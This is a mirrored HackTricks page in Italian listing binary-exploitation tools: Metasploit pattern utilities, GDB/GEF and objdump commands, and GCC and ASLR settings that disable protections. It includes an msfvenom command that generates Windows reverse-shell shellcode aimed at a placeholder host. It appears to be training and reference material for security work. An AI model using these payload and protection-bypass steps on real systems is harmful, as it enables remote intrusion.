Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/exploiting/tools
History
Translator 48e6f1ff0b Translated ['exploiting/tools/README.md', 'macos-hardening/macos-securit
2024-03-28 08:47:57 +00:00
..
pwntools.md Translated to Italian 2024-02-10 13:03:23 +00:00
README.md Translated ['exploiting/tools/README.md', 'macos-hardening/macos-securit 2024-03-28 08:47:57 +00:00

README.md

Strumenti di Sfruttamento

Impara l'hacking AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

I seguenti strumenti sono utilizzati per generare shellcode:

  • Metasploit Framework: msfvenom è uno strumento versatile per generare shellcode.
  • Online Shellcode Generators: Sono disponibili diversi generatori di shellcode online che possono essere utilizzati per generare shellcode per architetture specifiche.
  • Custom Shellcode: È possibile scrivere shellcode personalizzato utilizzando linguaggi come Assembly e C.
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Install

Installazione

apt-get install gdb

Parametri

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Istruzioni

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Trucchi

Stessi indirizzi in GDB

Durante il debug, GDB avrà indirizzi leggermente diversi rispetto a quelli utilizzati dal binario in esecuzione. Puoi fare in modo che GDB abbia gli stessi indirizzi facendo:

  • unset env LINES
  • unset env COLUMNS
  • set env _=<percorso> Inserisci il percorso assoluto al binario
  • Sfrutta il binario utilizzando lo stesso percorso assoluto
  • PWD e OLDPWD devono essere gli stessi quando si utilizza GDB e quando si sfrutta il binario

Backtrace per trovare le funzioni chiamate

Quando hai un binario collegato staticamente, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile identificare il flusso che il binario segue per esempio per richiedere l'input dell'utente.
Puoi identificare facilmente questo flusso eseguendo il binario con gdb fino a quando ti viene richiesto l'input. Poi, interrompilo con CTRL+C e utilizza il comando bt (backtrace) per vedere le funzioni chiamate:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

Server GDB

gdbserver --multi 0.0.0.0:23947 (in IDA devi inserire il percorso assoluto dell'eseguibile nella macchina Linux e nella macchina Windows)

Ghidra

Trovare l'offset dello stack

Ghidra è molto utile per trovare l'offset per un buffer overflow grazie alle informazioni sulla posizione delle variabili locali.
Ad esempio, nell'esempio sottostante, un flusso di buffer in local_bc indica che è necessario un offset di 0xbc. Inoltre, se local_10 è un cookie canary, indica che per sovrascriverlo da local_bc c'è un offset di 0xac.
Ricorda che i primi 0x08 da dove viene salvato il RIP appartengono al RBP.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compila senza protezioni
-o --> Output
-g --> Salva il codice (GDB sarà in grado di vederlo)
echo 0 > /proc/sys/kernel/randomize_va_space --> Per disattivare l'ASLR in Linux

Per compilare uno shellcode:
nasm -f elf assembly.asm --> restituisce un ".o"
ld assembly.o -o shellcodeout --> Eseguibile

Objdump

-d --> Disassembla le sezioni eseguibili (vedi opcode di uno shellcode compilato, trova ROP Gadgets, trova l'indirizzo della funzione...)
-Mintel --> Sintassi Intel
-t --> Tabella dei simboli
-D --> Disassembla tutto (indirizzo della variabile statica)
-s -j .dtors --> sezione dtors
-s -j .got --> sezione got
-D -s -j .plt --> sezione plt decompilata
-TR --> Rilocazioni
ojdump -t --dynamic-relo ./exec | grep puts --> Indirizzo di "puts" da modificare in GOT
objdump -D ./exec | grep "VAR_NAME" --> Indirizzo di una variabile statica (queste sono memorizzate nella sezione DATA).

Core dumps

  1. Esegui ulimit -c unlimited prima di avviare il mio programma
  2. Esegui sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
  3. sudo gdb --core=<path/core> --quiet

Altro

ldd eseguibile | grep libc.so.6 --> Indirizzo (se ASLR, questo cambia ogni volta)
for i in `seq 0 20`; do ldd <Esecuzione> | grep libc; done --> Loop per vedere se l'indirizzo cambia molto
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset di "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset di "/bin/sh"

strace eseguibile --> Funzioni chiamate dall'eseguibile
rabin2 -i eseguibile --> Indirizzo di tutte le funzioni

Debugger di Immunity

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debugging in remoto su Linux

All'interno della cartella IDA è possibile trovare binari che possono essere utilizzati per eseguire il debug di un eseguibile all'interno di un sistema Linux. Per farlo, spostare l'eseguibile linux_server o linux_server64 all'interno del server Linux e eseguirlo all'interno della cartella che contiene l'eseguibile:

./linux_server64 -Ppass

Quindi, configurare il debugger: Debugger (remoto linux) --> Opzioni del processo...:

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: